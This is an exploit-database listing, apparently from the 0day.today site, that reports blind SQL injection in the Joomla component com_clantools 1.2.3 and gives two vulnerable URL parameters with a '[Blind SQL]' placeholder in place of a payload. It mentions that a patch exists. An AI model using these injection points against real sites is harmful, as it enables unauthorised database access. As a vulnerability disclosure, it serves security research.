[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component com_clantools version 1.2.3 Multiple Blind SQL Injection

Author
Stephan Sattler
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13984
Category
web applications
Date add
05-09-2010
Platform
php
=========================================================================
Joomla Component com_clantools version 1.2.3 Multiple Blind SQL Injection
=========================================================================

# Exploit Title: Joomla Component Clantools version 1.2.3 Multiple Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://www.joomla-clantools.de/downloads/doc_download/7-clantools-123.html
# Version: 1.2.3
 
 
[ Vulnerability 1 ]
 
http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]
 
[ Vulnerability 2 ]
 
http://www.site.com/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[Blind SQL]&Itemid=999
 
#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch



#  0day.today [2024-11-15]  #